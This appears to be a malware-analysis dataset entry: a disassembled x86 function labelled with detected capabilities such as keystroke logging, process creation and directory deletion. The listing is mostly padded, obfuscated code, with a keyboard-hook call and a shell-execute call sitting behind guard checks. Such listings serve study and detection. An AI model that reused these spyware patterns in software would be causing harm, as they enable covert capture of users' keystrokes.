Function at 0x1002789c
Capabilities:
Accept command line arguments
Check os version
Create process on windows
Delete directory
Get common file path
Get disk information
Get disk size
Get graphical window text
Get keyboard layout
Identify system language via api
Log keystrokes
Log keystrokes via polling
Read .ini file

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x10d8
call fcn.10076800
mov dword [ebp - 0x24], 0xba339924
xor eax, eax
push ebx
mov dword [ebp - 0x14], 0xc4ab274b
xor ebx, ebx
mov dword [ebp - 0x34], 0xd2086bd0
inc ebx
push edi
mov dword [ebp - 0x3c], 7
mov dword [ebp - 0x10], 0xf906d8bc
push 0xfffffffffffffff8
mov dword [ebp - 0x34], eax
mov byte [ebp - 0x69], dl
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0xc], eax
pop edi
jmp 0x100278f1
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x2f0], edi
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], ebx
jl 0x100278e4
mov eax, dword [ebp - 0x24]
xor edx, edx
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x34], eax
mov ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x24]
cmp eax, ecx
push esi
setge dl
push 0xfffffffffffffff9
pop esi
sub edx, dword [ebp - 0x24]
je 0x1002794d
xor eax, eax
cmp dword [ebp - 0x24], eax
jne 0x10027924
cmp dword [ebp - 0x3c], eax
je 0x10027926
mov eax, ebx
xor edx, edx
cmp eax, esi
mov eax, dword [ebp - 0x14]
sete dl
xor ecx, ecx
cmp edx, eax
setne cl
mov dword [ebp - 0x3c], ecx
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x2f0]
mov eax, dword [ebp - 0x10]
xor eax, eax
cmp dword [ebp - 0x3c], eax
jne 0x1002794f
mov eax, ebx
mov dword [ebp - 0x34], eax
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x10027970
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x2f0], esi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x1002795c
xor eax, eax
mov dword [ebp - 0x24], 0xba339924
mov dword [ebp - 0x14], 0xc4ab274b
mov dword [ebp - 0x34], 0xd2086bd0
mov dword [ebp - 0x3c], 7
mov dword [ebp - 0x10], 0xf906d8bc
mov dword [ebp - 0x34], eax
mov dword [ebp - 0xc], eax
jmp 0x100279a8
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x2ec], edi
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], ebx
jl 0x1002799b
mov eax, dword [ebp - 0x24]
xor edx, edx
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x34], eax
mov ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x24]
cmp eax, ecx
setge dl
sub edx, dword [ebp - 0x24]
je 0x10027a00
xor eax, eax
cmp dword [ebp - 0x24], eax
jne 0x100279d7
cmp dword [ebp - 0x3c], eax
je 0x100279d9
mov eax, ebx
xor edx, edx
cmp eax, esi
mov eax, dword [ebp - 0x14]
sete dl
xor ecx, ecx
cmp edx, eax
setne cl
mov dword [ebp - 0x3c], ecx
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x2ec]
mov eax, dword [ebp - 0x10]
xor eax, eax
cmp dword [ebp - 0x3c], eax
jne 0x10027a02
mov eax, ebx
mov dword [ebp - 0x34], eax
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x10027a23
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x2ec], esi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x10027a0f
xor eax, eax
mov dword [ebp - 0x24], 0xba339924
mov dword [ebp - 0x14], 0xc4ab274b
mov dword [ebp - 0x34], 0xd2086bd0
mov dword [ebp - 0x3c], 7
mov dword [ebp - 0x10], 0xf906d8bc
mov dword [ebp - 0x34], eax
mov dword [ebp - 0xc], eax
jmp 0x10027a5b
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x280], edi
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], ebx
jl 0x10027a4e
mov eax, dword [ebp - 0x24]
xor edx, edx
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x34], eax
mov ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x24]
cmp eax, ecx
setge dl
sub edx, dword [ebp - 0x24]
je 0x10027ab3
xor eax, eax
cmp dword [ebp - 0x24], eax
jne 0x10027a8a
cmp dword [ebp - 0x3c], eax
je 0x10027a8c
mov eax, ebx
xor edx, edx
cmp eax, esi
mov eax, dword [ebp - 0x14]
sete dl
xor ecx, ecx
cmp edx, eax
setne cl
mov dword [ebp - 0x3c], ecx
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x280]
mov eax, dword [ebp - 0x10]
xor eax, eax
cmp dword [ebp - 0x3c], eax
jne 0x10027ab5
mov eax, ebx
mov dword [ebp - 0x34], eax
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x10027ad6
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x280], esi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x10027ac2
xor eax, eax
mov dword [ebp - 0x14], 0x6802
mov dword [ebp - 0xc], eax
jmp 0x10027af3
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x46c], 5
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], ebx
jl 0x10027ae2
mov eax, dword [ebp - 0x14]
mov edx, ebx
xor eax, eax
cmp dword [ebp - 0x14], eax
jne 0x10027b06
mov edx, eax
mov eax, dword [ebp - 0x14]
xor ecx, ecx
sub edx, eax
mov eax, dword [ebp - 0x14]
cmp edx, eax
setl cl
xor eax, eax
cmp ecx, 0xfff7
setne al
cmp eax, 0x9beab1d6
jae 0x10027b32
xor eax, eax
cmp eax, dword [ebp - 0x14]
je 0x10027b37
mov eax, ebx
jmp 0x10027b34
xor eax, eax
cmp eax, dword [ebp - 0x14]
mov edi, dword [sym.imp.GDI32.dll_SetDIBColorTable]
mov ebx, dword [sym.imp.USER32.dll_GetDC]
mov esi, dword [sym.imp.USER32.dll_GetDesktopWindow]
jge 0x10027b57
mov dword [ebp - 0x46c], 0xb489f7a9
jmp 0x10027b74
xor eax, eax
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], al
je 0x10027b76
push eax
push 0x23a1
push 0x1dfa
call esi
push eax
call ebx
push eax
call edi
xor eax, eax
mov dword [ebp - 0x34], 0xe948708e
xor edx, edx
inc edx
mov dword [ebp - 0x724], edx
mov dword [ebp - 0x720], edx
mov dword [ebp - 0x71c], edx
mov dword [ebp - 0x718], edx
mov dword [ebp - 0x10], edx
mov dword [ebp - 0x20], 0xb14f4e79
mov dword [ebp - 0x20], 0xffffffff
mov dword [ebp - 0x38], 0x9ca3191b
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x3c], 0x8ecb302a
mov dword [ebp - 0x20], 0xfffffffc
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x20], 0xc237
mov dword [ebp - 0xc], 0x86ae2ad2
mov dword [ebp - 0x20], 0x258d3b3e
mov dword [ebp - 0x20], 0x2e6b
mov dword [ebp - 0x20], 0xe85184bf
mov dword [ebp - 0x24], 0xfffffff8
push 2
mov dword [ebp - 0x1c], eax
pop ecx
cmp dword [ebp - 0x1c], ecx
jge 0x10027c11
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x960], 0x88c55612
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x10027bf9
xor eax, eax
push 3
mov dword [ebp - 0x1c], eax
pop ecx
cmp dword [ebp - 0x1c], ecx
jge 0x10027c34
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xff8], 4
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x10027c1c
xor eax, eax
mov dword [ebp - 0x1c], eax
jmp 0x10027c4a
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xc24], 0x7bb6abd3
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x10027c39
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x34]
mov dword [ebp - 0x720], ecx
inc dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
imul eax, dword [ebp - 0x10]
cmp ecx, eax
jne 0x10027ca5
mov eax, dword [ebp - 0xc]
xor ecx, ecx
mov eax, dword [ebp - 0x3c]
cmp eax, 0xc16
setge cl
xor edx, edx
mov dword [ebp - 0x960], ecx
mov eax, dword [ebp - 0x720]
cmp ecx, eax
mov eax, dword [ebp - 0x3c]
sete dl
xor ecx, ecx
cmp edx, eax
setl cl
xor edx, edx
inc edx
cmp ecx, 0x8c55279c
jne 0x10027ca5
mov ecx, edx
jmp 0x10027ca9
xor eax, eax
mov ecx, eax
mov eax, dword [ebp - 0xc24]
sub ecx, eax
cmp ecx, dword [ebp - 0x38]
jg 0x10027cc4
xor eax, eax
cmp dword [ebp - 0x10], eax
jne 0x10027cc4
mov ecx, eax
cmp dword [ebp - 0x24], eax
je 0x10027cc6
mov ecx, edx
mov eax, dword [ebp - 0x34]
xor edx, edx
inc eax
add ecx, eax
mov eax, dword [ebp - 0x3c]
cmp ecx, eax
setne dl
xor ecx, ecx
test edx, edx
setns cl
xor eax, eax
cmp ecx, 0x568c
setle al
imul eax, eax, 0x83f
mov dword [ebp - 0x3c], eax
xor eax, eax
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], al
je 0x10027d04
push eax
call dword [sym.imp.GDI32.dll_CreatePenIndirect]
xor eax, eax
xor ecx, ecx
inc ecx
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x50], eax
push 2
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x2c], 0xe
pop edx
jmp 0x10027dd2
mov dword [ebp - 4], eax
cmp dword [ebp - 4], edx
jge 0x10027d41
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0xee0], ecx
inc dword [ebp - 4]
cmp dword [ebp - 4], edx
jl 0x10027d2d
xor eax, eax
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 4
jge 0x10027d63
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0x78c], 0x9bf39019
inc dword [ebp - 4]
cmp dword [ebp - 4], 4
jl 0x10027d4a
xor eax, eax
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], 0
je 0x10027d94
push 0x77a
push 0x1320
push 0x2063
push 0xfe4
call esi
push eax
call ebx
push eax
call dword [sym.imp.GDI32.dll_Rectangle]
xor ecx, ecx
xor eax, eax
push 2
inc ecx
pop edx
mov dword [ebp - 0x784], eax
cmp dword [ebp - 0x784], ecx
jg 0x10027dcf
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], 0
je 0x10027dbe
push eax
push 0xc19
push eax
push eax
call dword [sym.imp.KERNEL32.dll_SignalObjectAndWait]
xor ecx, ecx
xor eax, eax
inc ecx
inc dword [ebp - 0x784]
cmp dword [ebp - 0x784], ecx
jle 0x10027da2
push 2
pop edx
dec dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], edx
jg 0x10027d25
mov eax, dword [ebp - 0x2c]
xor ebx, ebx
mov dword [ebp - 0x2c], eax
inc ebx
mov dword [ebp - 0x18], 0xba339924
mov eax, 0x70ad6f2e
mov dword [ebp - 0x618], eax
mov dword [ebp - 0x614], eax
mov dword [ebp - 0x610], eax
mov dword [ebp - 0x60c], eax
xor eax, eax
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], edx
jge 0x10027e2d
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0xa58], 0xa9f8
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], edx
jl 0x10027e15
xor eax, eax
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], 0
je 0x10027e43
push eax
push eax
call esi
push eax
call dword [sym.imp.USER32.dll_SetPropA]
xor eax, eax
cmp dword [ebp - 0x618], eax
je 0x10027e6a
mov dword [ebp - 0x34], 6
mov dword [ebp - 0x34], ebx
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], 0
je 0x10027ebf
push eax
call esi
push eax
call dword [sym.imp.USER32.dll_EndPaint]
jmp 0x10027ebd
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0xc], eax
jmp 0x10027e7f
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x474], ebx
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], ebx
jl 0x10027e72
mov dword [ebp - 0xa54], 0x9bd6
mov ecx, dword [ebp - 0x474]
mov eax, dword [ebp - 0x60c]
neg ecx
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
sbb ecx, ecx
neg ecx
xor edx, edx
cmp eax, ecx
mov eax, dword [ebp - 0x614]
setl dl
xor ecx, ecx
cmp eax, edx
setg cl
mov dword [ebp - 0x34], ecx
xor eax, eax
mov dword [ebp - 0x14], 0xc4ab274b
mov dword [ebp - 0x34], 0x1477a14a
mov dword [ebp - 0x10], 0xa5c1b09c
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x10027ef4
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x47c], 0x862f
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x10027edc
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x10027f14
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xd8], 0xfffffff7
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x10027efc
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x10027f34
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x1f4], 0xfffffffd
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x10027f1c
xor eax, eax
mov dword [ebp - 0xd8], eax
cmp dword [ebp - 0xd8], eax
jl 0x10028026
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x34], 0xdcc80fc3
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 4
jge 0x10027f72
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x568], 0x7ddbf4df
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 4
jl 0x10027f59
xor eax, eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], eax
jl 0x10027fb1
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], 0
je 0x10027f8c
push eax
call dword [sym.imp.KERNEL32.dll_RtlCaptureContext]
xor eax, eax
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], 0
je 0x10027fac
push eax
push eax
push 0x103d
push 0x1638
call esi
push eax
call dword [sym.imp.USER32.dll_ScrollWindow]
xor eax, eax
dec dword [ebp - 0x2c]
jns 0x10027f7a
mov eax, dword [ebp - 0x560]
xor edx, edx
mov eax, dword [ebp - 0x47c]
imul ecx, dword [ebp - 0x2c], 0x14ad
mov eax, dword [ebp - 0xd8]
push 0
cmp eax, ecx
setl dl
mov dword [ebp - 0x2c], edx
xor edx, edx
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x34], eax
dec dword [ebp - 0x1f4]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x560]
mov eax, dword [ebp - 0xd8]
mov eax, dword [ebp - 0x560]
mov eax, dword [ebp - 0x560]
mov eax, dword [ebp - 0x55c]
mov ecx, dword [ebp - 0x55c]
mov eax, dword [ebp - 0x560]
cmp eax, ecx
pop eax
setl dl
mov dword [ebp - 0x34], edx
dec dword [ebp - 0xd8]
jns 0x10027f46
inc dword [ebp - 0x10]
mov dword [ebp - 0x34], 0xd2086bd0
mov dword [ebp - 0x34], 0xfff6
mov dword [ebp - 0x34], 0x66c93ee3
mov dword [ebp - 0x24], 0xfffffff9
mov dword [ebp - 0x10], 0x2aa61fc2
mov dword [ebp - 0x34], 5
mov dword [ebp - 0x3c], 0xfdb696
mov dword [ebp - 0x34], 3
cmp dword [ebp - 0x34], eax
jne 0x10028071
cmp dword [ebp - 0x34], 0xaa810d21
mov edx, eax
jbe 0x10028073
mov edx, ebx
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x24]
sub ecx, eax
neg ecx
sbb ecx, ecx
inc ecx
mov dword [ebp - 0x10], ecx
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x3c]
cmp dword [ebp - 0x34], eax
jge 0x1002809d
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x34], edx
mov eax, dword [ebp - 0x34]
xor eax, eax
mov dword [ebp - 0x3c], ebx
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], al
je 0x100280c5
push eax
push eax
push 0x2268
push 0x8f
push eax
call dword [sym.imp.USER32.dll_ModifyMenuW]
xor eax, eax
mov dword [ebp - 0x2c], 7
mov dword [ebp - 0xc], 0x2d5e48d3
mov dword [ebp - 0x34], eax
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], 0
je 0x100280f0
push 0x1666
push eax
call esi
push eax
call dword [sym.imp.USER32.dll_GetClassNameW]
xor eax, eax
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xfffffffd
jne 0x10028111
mov dword [ebp - 0x34], 0x58ba
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x34], eax
dec dword [ebp - 0xc]
cmp dword [ebp - 0xc], 0xfffffffd
je 0x100280f9
xor eax, eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x34], 0xaf2c9a13
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x14], 0xfffffffa
cmp dword [ebp - 0x14], 0x10
jle 0x100281d5
mov dword [ebp - 0x24], 0x80c3414b
mov dword [ebp - 0x3c], 0xaa32f3f6
mov dword [ebp - 0x34], 0x412894ff
cmp dword [ebp - 0x24], eax
je 0x1002816c
mov ecx, dword [ebp - 0x3c]
xor edx, edx
mov eax, dword [ebp - 0x14]
cmp eax, ecx
setge dl
sub edx, dword [ebp - 0x3c]
neg edx
sbb edx, edx
inc edx
sub edx, 0x94d0
je 0x1002816a
mov edx, ebx
jmp 0x1002816e
xor eax, eax
mov edx, eax
mov eax, dword [ebp - 0x14]
xor ecx, ecx
cmp eax, edx
setl cl
xor eax, eax
sub ecx, dword [ebp - 0x24]
je 0x10028184
cmp dword [ebp - 0x3c], eax
jne 0x10028189
cmp dword [ebp - 0x24], eax
je 0x1002818b
mov eax, ebx
mov dword [ebp - 0x34], eax
xor edx, edx
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x34], eax
mov ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x24]
cmp ecx, eax
mov eax, dword [ebp - 0x3c]
setl dl
xor ecx, ecx
cmp edx, eax
setne cl
xor eax, eax
mov dword [ebp - 0x34], ecx
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], al
je 0x100281c5
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesW]
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0x10
push 0
pop eax
jg 0x1002812f
mov dword [ebp - 0x3c], 0xf906d8bc
mov dword [ebp - 0x34], 0xffffffff
mov dword [ebp - 0x10], 5
mov dword [ebp - 0x24], ebx
push 2
mov dword [ebp - 0xc], eax
pop ecx
cmp dword [ebp - 0xc], ecx
jge 0x10028210
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x34c], 0
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], ecx
jl 0x100281f8
xor eax, eax
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], 0
je 0x1002822e
push 0x2286
push eax
push eax
push eax
push eax
call esi
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 2
pop ecx
mov eax, dword [ebp - 0x348]
mov eax, dword [ebp - 0x348]
cmp dword [ebp - 0x34c], 5
jge 0x10028249
mov eax, dword [ebp - 0x348]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
cmp dword [ebp - 0x10], 3
sbb eax, eax
inc eax
mov dword [ebp - 0x24], eax
xor eax, eax
mov dword [ebp - 0x34], eax
mov dword [ebp - 4], 0x1928c176
mov dword [ebp - 0x38], 0xef6e229e
mov dword [ebp - 4], eax
jmp 0x1002836a
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x14], 0x22b16580
mov dword [ebp - 0x20], 3
mov dword [ebp - 0x34], 0x4a7c7698
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], ecx
jge 0x100282b5
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x970], 0xffffffff
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], ecx
jl 0x1002829d
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 3
jg 0x10028367
mov dword [ebp - 0x24], 0xfffffff9
cmp dword [ebp - 4], eax
jne 0x10028364
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x38], eax
xor eax, eax
cmp dword [ebp - 0x38], eax
je 0x1002832a
mov eax, dword [ebp - 0x24]
xor edx, edx
mov eax, dword [ebp - 0x38]
cmp eax, 0xa38d
mov eax, dword [ebp - 0x14]
setne dl
xor ecx, ecx
cmp eax, edx
setg cl
xor edx, edx
mov dword [ebp - 0x96c], ecx
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x14]
cmp ecx, eax
setle dl
xor eax, eax
cmp edx, 0x91cb
setl al
cmp ebx, eax
sbb eax, eax
inc eax
sub eax, dword [ebp - 0x38]
je 0x10028328
mov eax, ebx
jmp 0x1002832a
xor eax, eax
cmp eax, dword [ebp - 0x14]
jle 0x10028338
xor eax, eax
mov ecx, eax
cmp dword [ebp - 4], eax
je 0x1002833a
mov ecx, ebx
mov eax, dword [ebp - 0x14]
imul eax, ecx
add eax, dword [ebp - 4]
cmp eax, dword [ebp - 4]
jge 0x1002834b
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 4]
mov eax, dword [ebp - 4]
mov dword [ebp - 0x34], eax
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
push 0
pop eax
jle 0x100282c2
push 2
pop ecx
dec dword [ebp - 4]
cmp dword [ebp - 4], 0xfffffff2
jge 0x10028274
mov dword [ebp - 0x24], 5
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], ecx
jge 0x1002839b
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0xd68], 0xffffffff
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], ecx
jl 0x10028383
xor eax, eax
mov dword [ebp - 0x24], ebx
cmp dword [ebp - 0x24], eax
jl 0x100283c1
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], 0
je 0x100283b9
push 0x1af1
call dword [sym.imp.USER32.dll_GetSysColorBrush]
xor eax, eax
dec dword [ebp - 0x24]
jns 0x100283a3
push 2
pop ecx
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], ebx
jge 0x100283e1
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x27c], 0xfffffff8
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], ebx
jl 0x100283c9
xor eax, eax
mov dword [ebp - 0x1c], 0x54bcd76c
mov dword [ebp - 4], 0x1d1b9849
mov dword [ebp - 0x14], 0xb7f45b6d
mov dword [ebp - 4], eax
cmp dword [ebp - 4], ebx
jge 0x10028416
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0x174], 0xfffffff9
inc dword [ebp - 4]
cmp dword [ebp - 4], ebx
jl 0x100283fe
xor eax, eax
mov dword [ebp - 4], eax
cmp dword [ebp - 4], ebx
jge 0x10028436
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0x9c], 0xfff8
inc dword [ebp - 4]
cmp dword [ebp - 4], ebx
jl 0x1002841e
xor eax, eax
mov dword [ebp - 4], eax
jmp 0x1002844c
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0x6c4], 0x67a9
inc dword [ebp - 4]
cmp dword [ebp - 4], ecx
jl 0x1002843b
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
dec dword [ebp - 0x1c]
test eax, eax
je 0x100284a4
mov ecx, dword [ebp - 0x1c]
xor edx, edx
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
setl dl
imul eax, edx, 0xfffffff8
test eax, eax
jne 0x10028491
cmp dword [ebp - 4], eax
je 0x1002848b
mov eax, dword [ebp - 4]
sub eax, dword [ebp - 0x1c]
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
test eax, eax
setg cl
mov dword [ebp - 0x174], ecx
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x9c]
mov eax, dword [ebp - 0x9c]
mov eax, dword [ebp - 0x9c]
mov eax, dword [ebp - 4]
neg eax
push 0xfffffffffffffff6
sbb eax, eax
xor edx, edx
neg eax
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x9c]
mov eax, dword [ebp - 0x9c]
mov eax, dword [ebp - 0x9c]
imul ecx, eax, 0x6c84
mov eax, dword [ebp - 0x9c]
cmp ecx, eax
mov eax, dword [ebp - 0x9c]
pop ecx
setge dl
add eax, edx
mov dword [ebp - 0x6c0], eax
je 0x1002863a
xor eax, eax
cmp dword [ebp - 0x1c], eax
je 0x1002863c
mov dword [ebp - 0x10], 0xb63111
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], ebx
jge 0x10028533
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x100], 7
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], ebx
jl 0x1002851b
xor eax, eax
mov dword [ebp - 4], ecx
cmp dword [ebp - 4], 0x11
jl 0x100285df
push 2
pop edi
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 4
jge 0x10028565
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0xd88], 3
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 4
jl 0x1002854c
xor eax, eax
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], 0
je 0x10028582
push 0x1011
push eax
push eax
push 0x1d57
call dword [sym.imp.USER32.dll_SetWindowsHookExA]
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], edi
jge 0x100285cc
mov dword [ebp - 0x34], 0xffff
mov eax, dword [ebp - 0x10]
inc eax
jne 0x1002859f
cmp dword [ebp - 0xd80], eax
je 0x100285a1
mov eax, ebx
mov dword [ebp - 0x34], eax
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x34]
sub edx, 0xbab9
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp eax, edx
setl cl
mov dword [ebp - 0x100], ecx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x1002858a
xor eax, eax
inc dword [ebp - 4]
cmp dword [ebp - 4], 0x11
jge 0x10028543
mov edi, dword [sym.imp.GDI32.dll_SetDIBColorTable]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], eax
jg 0x10028652
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x100]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x100]
mov eax, dword [ebp - 0x6c0]
mov dword [ebp - 0x174], eax
add eax, 0xfffffac6
cmp eax, 0xd914
mov eax, dword [ebp - 0x1c]
setg cl
xor edx, edx
cmp ecx, 0xad58
setge dl
mov dword [ebp + eax*4 - 0x100], edx
xor eax, eax
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], eax
jle 0x100285e7
jmp 0x10028650
xor eax, eax
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], 0
je 0x10028652
push eax
push eax
call esi
push eax
call dword [sym.imp.USER32.dll_EnumChildWindows]
xor eax, eax
mov dword [ebp - 0x174], eax
xor edx, edx
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x34], eax
mov ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x18]
cmp eax, ecx
setge dl
sub edx, dword [ebp - 0x18]
je 0x100286ac
xor eax, eax
cmp dword [ebp - 0x18], eax
jne 0x10028682
cmp dword [ebp - 0x2c], eax
je 0x10028684
mov eax, ebx
xor edx, edx
cmp eax, 0xfffffff9
mov eax, dword [ebp - 0x14]
sete dl
xor ecx, ecx
cmp edx, eax
setne cl
mov dword [ebp - 0x2c], ecx
mov eax, dword [ebp - 0x2c]
